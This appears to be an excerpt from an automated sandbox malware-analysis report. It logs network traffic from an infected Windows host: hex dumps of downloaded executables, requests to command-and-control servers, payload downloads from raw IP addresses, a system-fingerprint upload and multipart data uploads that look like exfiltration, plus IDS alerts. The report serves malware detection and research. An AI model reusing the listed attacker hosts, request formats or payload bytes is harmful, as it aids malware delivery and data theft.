08 03 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6d 64 02 00 00 10 00 00 00 66 02 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ec 9b 00 00 00 80 02 00 00 9c 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 25 00 00 00 20 03 00 00 16 00 00 00 0a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 4f 44 45 00 00 00 f4 0e 00 00 00 50 03 00 00 10 00 00 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 60 03 00 00 02 00 00 00 30 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 70 03 00 00 02 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 78 1c 00 00 00 80 03 00 00 1e 00 00 00 34 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 a0 03 00 00 86 04 00 00 52 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 30 08 00 00 86 04 00 00 d8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 12:12:40 GMTContent-Type: application/octet-streamContent-Length: 1374720Last-Modified: Thu, 19 Dec 2024 17:14:58 GMTConnection: keep-aliveETag: "67645492-14fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 54 14 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 c7 0b 00 00 10 00 00 00 c8 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 48 01 00 00 00 e0 0b 00 00 02 00 00 00 cc 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 98 a1 06 00 00 f0 0b 00 00 a2 06 00 00 ce 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d ec 94 01 00 00 a0 12 00 00 96 01 00 00 70 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 34 02 00 00 00 40 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 08 1c 00 00 00 50 14 00 00 1e 00 00 00 06 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 70 14 00 00 02 00 00 00 24 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 80 14 00 00 02 00 00 00 26 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 2c 6c 00 00 00 90 14 00 00 6e 00 00 00 28 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 63 00 00 00 00 15 00 00 64 00 00 00 96 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 12:12:47 GMTContent-Type: application/octet-streamContent-Length: 22016Last-Modified: Thu, 19 Dec 2024 14:25:14 GMTConnection: keep-aliveETag: "67642cca-5600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 4a 00 00 00 20 00 00 00 4c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 05 00 00 00 80 00 00 00 06 00 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 6a 00 00 00 00 00 00 48 00 00 00 02 00 05 00 28 37 00 00 80 32 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 2f 00 00 06 0a 06 28 16 00 00 0a 7d 20 00 00 04 06 02 7d 21 00 00 04 06 15 7d 1f 00 00 04 06 7c 20 00 00 04 12 00 28 01 00 00 2b 06 7c 20 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 84 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 ca 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 28 00 00 04 06 02 7d 29 00 00 04 06 15 7d 27 00 00 04 06 7c 28 00 00 04 12 00 28 02 00 00 2b 06 7c 28 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 f0 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 12:12:53 GMTContent-Type: application/octet-streamContent-Length: 4467712Last-Modified: Fri, 20 Dec 2024 10:36:17 GMTConnection: keep-aliveETag: "676548a1-442c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 07 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 49 00 00 4c 75 00 00 32 00 00 00 d0 c7 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 c8 00 00 04 00 00 d3 fd 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f b0 72 00 73 00 00 00 00 a0 72 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 b8 c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 b8 c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 72 00 00 10 00 00 00 34 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 72 00 00 02 00 00 00 44 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 72 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 39 00 00 c0 72 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 65 6b 62 75 64 74 6f 00 c0 1b 00 00 00 ac 00 00 bc 1b 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 77 70 67 62 75 62 75 00 10 00 00 00 c0 c7 00 00 04 00 00 00 06 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 c7 00 00 22 00 00 00 0a 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 35 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018506001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 35 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018507001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/bckosq/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1Host: home.fivetk5ht.topAccept: /Content-Type: application/jsonContent-Length: 497697Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 39 36 37 35 32 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 35 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018508001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /zldPRFrmVFHTtKntGpOv1734579851?argument=TmUWwkAQBKXXTWTE1734696758 HTTP/1.1Host: home.fivetk5ht.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 35 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018509001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 35 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018510001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 98.85.100.80 98.85.100.80

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: REDSERVICIOES REDSERVICIOES

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49831 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49854 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49861 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49859 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49867 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49873 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49879 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49885 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49894 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49893 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49905 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49913 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49924 -> 45.77.249.79:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49936 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49937 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49943 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49944 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49951 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49950 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49959 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49966 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49973 -> 172.67.180.113:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BKLQ8LROZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12776Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AJYKXWNC6B7KUJ05FIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15072Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WWCTLM75Z6CL7CCAMV3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20568Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Y51EC27PBZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1196Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=17AO9DD9ACLCJA3FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570189Host: lossekniyyt.click
